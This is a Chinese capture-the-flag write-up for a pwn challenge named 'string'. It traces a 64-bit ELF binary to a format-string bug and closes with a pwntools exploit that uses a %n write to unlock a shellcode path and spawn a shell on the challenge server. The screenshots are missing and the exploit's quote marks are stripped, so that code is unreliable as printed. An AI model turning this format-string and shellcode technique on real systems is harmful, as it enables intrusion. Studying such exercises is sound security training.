首页 > 其他 > 详细

string

时间:2020-12-05 09:24:52      阅读:28      评论:0      收藏:0      [点我收藏+]

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

题目附件: 附件1

 

 

file如下:

技术分享图片

 

 64位ELF文件

checksec如下:

技术分享图片

 

 IDE反汇编,查看main:

技术分享图片

 

它打印出了v3的地址和v3[1]的地址 

查看sub_400996:

技术分享图片

 

 查看sub_400D72:

技术分享图片

 

 让输入一个长度小于等于12的字符串作为名字

查看sub_400A7D:

技术分享图片

 

 然后让选择前进的方向,看起来只允许选择east

查看sub_4009DD:

技术分享图片

 

 似乎这个函数会让角色疯狂做选择,迟早都是死

查看sub_400BB9:

技术分享图片

 

 首先让做一个选择,进入还是离开,程序应该是让选择1进入

进入后可以输入一个地址,然后存在一个格式化字符串漏洞

查看sub_400CA6:

技术分享图片

 

 如果a1[0]=a1[1],那么就可以执行一个shellcode,这就是我们的目标了

a1是由sub_400D72传入的,而sub_400D72中的a1又是main函数传入的v4,也就是v3的地址,所以比较的就是v3[0]和v3[1],初始v3[0]=68,v3[1]=85,这两个的地址程序又给我们已经打印了出来,我们就尝试利用sub_400BB9中的格式化字符串漏洞将v3[0]和v3[1]修改成相等的(改哪个都行)

通过调试,可以得知,输入的地址位于栈从顶向下的第二个:

技术分享图片

 

 因此我们便可以在输入地址的时候输入v3[0]或者v3[1]的地址,然后printf时第7个位置就是我们的目标地址

exp如下:

from pwn import *

context.arch = amd64

#io = process(‘./pwn‘)
io = connect(220.249.52.133, 34813)

p = b.%x*0x20

io.recvuntil(is )
address1 = int(io.recvline().strip(), 16)
io.recvuntil(is )
address2 = int(io.recvline().strip(), 16)
payload = b%68c%7$n
io.sendlineafter(be:, name)
io.sendlineafter(up?:, east)
io.sendlineafter(leave(0)?:, 1)
io.sendlineafter("address‘", str(address2))
io.sendlineafter(is:, payload)
io.sendlineafter(SPELL, asm(shellcraft.amd64.linux.sh()))

io.interactive()

 

string

原文:https://www.cnblogs.com/hktk1643/p/14088277.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!